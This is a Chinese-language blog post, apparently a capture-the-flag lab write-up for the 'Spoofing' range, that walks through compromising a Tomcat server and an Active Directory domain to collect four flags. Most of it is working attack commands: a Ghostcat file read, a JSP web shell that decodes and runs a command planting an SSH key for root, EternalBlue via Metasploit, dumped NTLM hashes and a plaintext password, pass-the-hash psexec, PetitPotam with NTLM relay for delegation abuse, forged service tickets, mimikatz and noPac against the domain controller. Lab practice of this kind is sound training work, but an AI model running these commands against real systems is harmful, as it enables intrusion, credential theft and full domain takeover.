前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >春秋云镜-Spoofing

春秋云镜-Spoofing

作者头像
用户2700375
发布2023-05-09 10:27:59
1.3K0
发布2023-05-09 10:27:59
举报
文章被收录于专栏:很菜的web狗很菜的web狗

工作期间某天项目经理找到,需要给客户录一个靶场的WP要求写详细一些过程,项目经理说云镜难度还是可以的,所以丢了一个Spoofing。但尴尬的是,当时平没有很快完成任务,实在是姿势盲区了(本人太菜了。

web

拿到目标ip 47.92.146.61 nmap扫端口。

image-20230321112438358
image-20230321112438358

我们首先访问8080 发现一个未授权的后台,但是基本没有任何功能

image-20230321112914447
image-20230321112914447

dirsearch进行目录扫描

image-20230321113037730
image-20230321113037730

存在一些目录

代码语言:javascript
复制
http://47.92.146.61:8080/docs/

访问可得知Tomcat 9.0.3 + ajp13

存在

https://github.com/00theway/Ghostcat-CNVD-2020-10487

代码语言:javascript
复制
python3 ajpShooter.py http://47.92.146.61:8080 8009 /WEB-INF/web.xml read

用此脚本读取/WEB-INF/web.xml 进行漏洞验证。

image-20230321114005814
image-20230321114005814

利用成功。并且内容中的 url-pattern 路径我们可以挨个访问一下

image-20230321114155411
image-20230321114155411
代码语言:javascript
复制
http://47.92.146.61:8080/UploadServlet
image-20230321114333685
image-20230321114333685

发现一处上传点(dirsearch是没有直接扫到的,可以加入到自己的字典中)

注意这里由于靶机问题重启 靶机ip从 47.92.146.61 变为了 39.98.183.3

由于上面扫描我们发现开了22端口

首先本机生成一对公私钥,并如下构造 大致内容就是将公钥写到 /root/.ssh/authorized_keys下面

代码语言:javascript
复制
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjE5yG8ayo88aGqr9oNOa4sfLHRL+gPW+BRQUJiiXymM9P1Pu46xc+ITjXndvFUm/LjKwcmlqSPI7EWIEFwWzxPfNeWpjqJSYb6KkYgf3n+zvvKmX+A6CDZZ4Kl0ABV+8dkYML/Jz5IQql8YdAgKCpHMoiV/bGwVTkCDRhuUXL1TW2m7pwXUw9RWM3i8G8WKnpMfQtsYXIo0Qatxx0Lxq3bpIEdkSKGTptGyCuvZCouUd5cpUpJJ4yrW8I0Jg9Zqqifsc2iRrwK6zcW7pHkLAkksEZC2DyM78iR5Fl4Z/PKiJHWYhThTFxByVsikp31q2gfATCx1vjmz6tm3AA/BPkrWtJ1xY9izsjlu46LdhTMD1U8BnJUhSuTUd2lAKjp9qKklp15wfdBbDk4SxWa6BNtwo6v1VDIfRkmPMhzU5ynm1OQsOLJKrRJHt0oJfrabD2e6UZ+DUSyA8Ha2E1FJiXbykqa6vV9THb6LltArhhFNikR42cqxUH1Q/qoM8bG00=" >> /root/.ssh/authorized_keys

chmod 600 /root/.ssh/authorized_keys

在进行base64加密

代码语言:javascript
复制
ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDakU1eUc4YXlvODhhR3FyOW9OT2E0c2ZMSFJMK2dQVytCUlFVSmlpWHltTTlQMVB1NDZ4YytJVGpYbmR2RlVtL0xqS3djbWxxU1BJN0VXSUVGd1d6eFBmTmVXcGpxSlNZYjZLa1lnZjNuK3p2dkttWCtBNkNEWlo0S2wwQUJWKzhka1lNTC9KejVJUXFsOFlkQWdLQ3BITW9pVi9iR3dWVGtDRFJodVVYTDFUVzJtN3B3WFV3OVJXTTNpOEc4V0tucE1mUXRzWVhJbzBRYXR4eDBMeHEzYnBJRWRrU0tHVHB0R3lDdXZaQ291VWQ1Y3BVcEpKNHlyVzhJMEpnOVpxcWlmc2MyaVJyd0s2emNXN3BIa0xBa2tzRVpDMkR5TTc4aVI1Rmw0Wi9QS2lKSFdZaFRoVEZ4QnlWc2lrcDMxcTJnZkFUQ3gxdmptejZ0bTNBQS9CUGtyV3RKMXhZOWl6c2psdTQ2TGRoVE1EMVU4Qm5KVWhTdVRVZDJsQUtqcDlxS2tscDE1d2ZkQmJEazRTeFdhNkJOdHdvNnYxVkRJZlJrbVBNaHpVNXlubTFPUXNPTEpLclJKSHQwb0pmcmFiRDJlNlVaK0RVU3lBOEhhMkUxRkppWGJ5a3FhNnZWOVRIYjZMbHRBcmhoRk5pa1I0MmNxeFVIMVEvcW9NOGJHMDA9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==

所以我们上传Spoofing.txt文件 内容为

代码语言:javascript
复制
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDakU1eUc4YXlvODhhR3FyOW9OT2E0c2ZMSFJMK2dQVytCUlFVSmlpWHltTTlQMVB1NDZ4YytJVGpYbmR2RlVtL0xqS3djbWxxU1BJN0VXSUVGd1d6eFBmTmVXcGpxSlNZYjZLa1lnZjNuK3p2dkttWCtBNkNEWlo0S2wwQUJWKzhka1lNTC9KejVJUXFsOFlkQWdLQ3BITW9pVi9iR3dWVGtDRFJodVVYTDFUVzJtN3B3WFV3OVJXTTNpOEc4V0tucE1mUXRzWVhJbzBRYXR4eDBMeHEzYnBJRWRrU0tHVHB0R3lDdXZaQ291VWQ1Y3BVcEpKNHlyVzhJMEpnOVpxcWlmc2MyaVJyd0s2emNXN3BIa0xBa2tzRVpDMkR5TTc4aVI1Rmw0Wi9QS2lKSFdZaFRoVEZ4QnlWc2lrcDMxcTJnZkFUQ3gxdmptejZ0bTNBQS9CUGtyV3RKMXhZOWl6c2psdTQ2TGRoVE1EMVU4Qm5KVWhTdVRVZDJsQUtqcDlxS2tscDE1d2ZkQmJEazRTeFdhNkJOdHdvNnYxVkRJZlJrbVBNaHpVNXlubTFPUXNPTEpLclJKSHQwb0pmcmFiRDJlNlVaK0RVU3lBOEhhMkUxRkppWGJ5a3FhNnZWOVRIYjZMbHRBcmhoRk5pa1I0MmNxeFVIMVEvcW9NOGJHMDA9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>

目的是将Spoofing.txt文件代码执行,将我们的公钥写到靶机里面

image-20230321134722899
image-20230321134722899

最终利用漏洞Ghostcat执行此文件

image-20230321135056044
image-20230321135056044

执行成功公钥写入,直接登陆靶机服务器即可

image-20230321135252025
image-20230321135252025

flag01

代码语言:javascript
复制
flag{41af3ec9-9043-42bc-9fb6-06d6a5aa5231}

ifconfig得到 当前Ubuntu ip 为 172.22.11.76

image-20230321135846173
image-20230321135846173

Ubuntu 172.22.11.76

接下来我们重点看下内网,利用fscan扫一下看看

将fscan上传到靶机

代码语言:javascript
复制
scp -i id_rsa  /Users/sch0lar/Downloads/fscan_386 root@39.98.183.3:/

fscan扫C段

代码语言:javascript
复制
./fscan_386 -h 172.22.11.1/24

发现内网中其他三台主机 并且172.22.11.6为域控

172.22.11.6 DC XIAORANG\XIAORANG-DC

172.22.11.26 XIAORANG\XR-LCM3AE8B

172.22.11.45 XIAORANG\XR-DESKTOP

经fscan扫描发现 172.22.11.45 可能存在永恒之蓝漏洞。

机器出网我们进行反向代理

image-20230321150412301
image-20230321150412301
image-20230321150427494
image-20230321150427494
image-20230321150806373
image-20230321150806373

内网成功访问,说明代理成功。msf 17010去打一下172.22.11.45 这台机器

msf设置代理

代码语言:javascript
复制
setg Proxies socks5:103.20.221.39:9999
代码语言:javascript
复制
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.11.45
set lport 1433

注意这里默认的4444会话不能正常建立,经测试使用一些常见端口 1433 3306 80即可

image-20230321193941497
image-20230321193941497

Dump hash

image-20230321194041752
image-20230321194041752

本地凭据

代码语言:javascript
复制
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

msf中加载 kiwi load kiwi creds_all获取域凭据

代码语言:javascript
复制
XR-DESKTOP$  XIAORANG  849af87004aedcb12d26d3646e4d1809  6cdc7983267c995623cf242b70869f295a22fccc
yangmei      XIAORANG  25e42ef4cc0ab6a8ff9e3edbbda91841  6b2838f81b57faed5d860adaf9401b0edb269a6f  明文 xrihGHgoNZQ

通过有了 admin和admin hash 可直接psexec 登录

代码语言:javascript
复制
proxychains4 psexec.py Administrator@172.22.11.45 -hashes :48f6da83eb89a4da8a1cc963b855a799 -codec gbk
image-20230321195101178
image-20230321195101178
image-20230321195125704
image-20230321195125704

flag02

flag{b326254f-c786-4752-92ce-f511ed7e959d}

image-20230321235653838
image-20230321235653838

把域用户 yangmei加入该机器的本地管理员

image-20230322002343660
image-20230322002343660

确定域控ip为

image-20230327215515423
image-20230327215515423

域渗透

域信息收集

代码语言:javascript
复制
proxychains4 -q bloodhound-python -u yangmei -p xrihGHgoNZQ -d xiaorang.lab --dns-tcp -ns 172.22.11.6 -c all --zip
image-20230327220502229
image-20230327220502229

https://github.com/Porchetta-Industries/CrackMapExec

Petitpotam 扫描

代码语言:javascript
复制
proxychains4 cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam
image-20230328000242690
image-20230328000242690
  • 无ADCS + Petitpotam + ntlm中继打法攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
  • 满足条件,目标机器需要开启webclient服务
  • WebClient扫描,确定只能拿下 172.22.11.26 (XR-LCM3AE8B)

https://github.com/Hackndo/WebclientServiceScanner

NTLM中继过程中需要使用HTTP协议来完成中继请求和响应,而Webclient服务包含了HTTP协议相关,所以开启 Webclient 服务可以为 NTLM 中继提供必要的功能支持

image-20230328003205695
image-20230328003205695
  • 中继攻击前言:
    • 实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)
    • 本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作
  • 中继攻击环境配置: 端口转发 + 代理我们目前需要把服务器的80,转发到客户端本地的80
  • 注意:由于SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这时候需要点技巧如图所示,即使反向端口转发79端口指定监听全部 (-R *:79:127.0.0.1:80),端口79依旧绑定在了127.0.0.1(图中顺便把socks5代理也开了)
代码语言:javascript
复制
ssh -i id_rsa root@47.92.254.136 -D 0.0.0.0:1080 -R \*:79:127.0.0.1:80

加多一条socat,让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0

代码语言:javascript
复制
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

简单说也就是当我们访问ubuntu的80端口会被转发到ubuntu的79端口,ubuntu的79端口会转发到我们本机的80端口

image-20230328110539445
image-20230328110539445
  • 本地开启ntlmrelayx
  • 注意:
    • 前面提到,没有ldaps,所以不能使用addcomputer
    • 同时在使用proxychains后,ldap://后面只能接dc的ip
    • 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
代码语言:javascript
复制
proxychains4 python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
image-20230328112842576
image-20230328112842576

使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)

代码语言:javascript
复制
proxychains4 python3 Petitpotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
image-20230328113855950
image-20230328113855950

可以看到,已经完成RBCD攻击了,接下来就是直接申请XR-LCM3AE8B的银票了

申请XR-LCM3AE8B CIFS票据

代码语言:javascript
复制
proxychains4 python3 getST.py -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :849af87004aedcb12d26d3646e4d1809 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6

这里的hash是前面通过172.22.11.45 mimikatz抓取到的

image-20230328115647181
image-20230328115647181

构造银票了我们psexec连接

代码语言:javascript
复制
KRB5CCNAME=/Users/sch0lar/sec/impacket/examples/administrator.ccache proxychains4 python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

flag03

代码语言:javascript
复制
flag{7cd97e18-b25b-42f3-8006-f6d0fc2cbd42}

域渗透 – NoPAC

smbclient.py 传 mimikatz

代码语言:javascript
复制
KRB5CCNAME=/Users/sch0lar/sec/impacket/examples/administrator.ccache proxychains4 python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26
image-20230328123450342
image-20230328123450342
代码语言:javascript
复制
cd C:\Windows\Temp
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
image-20230328123604507
image-20230328123604507
代码语言:javascript
复制
zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1

nopac,只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin组对computer 能够创建对象,但是在bloodhound没看到

代码语言:javascript
复制
AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++

需要补这一张图

img
img

Bloodhound看不到,主要原因是没把CreateChild采集进json

回到nopac,加上 create-child 参数

代码语言:javascript
复制
proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -use-ldap -create-child -dc-ip 172.22.11.6

使用nopac申请到的cifs票据登录进入DC,flag04在 C:\users\administrator\flag\flag04.txt

代码语言:javascript
复制
export KRB5CCNAME=/Users/sch0lar/sec/noPac/Administrator_xiaorang-dc.xiaorang.lab.ccache 
proxychains4 psexec.py xiaorang.lab/administrator@xiaorang-dc.xiaorang.lab -k -no-pass -dc-ip 172.22.11.6 -target-ip 172.22.11.6 -codec gbk

flag04

代码语言:javascript
复制
flag{683570c8-a6dc-45c2-95aa-9e9b171ed400}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-05-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • web
    • flag01
    • Ubuntu 172.22.11.76
      • flag02
      • 域渗透
        • flag03
        • 域渗透 – NoPAC
          • flag04
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档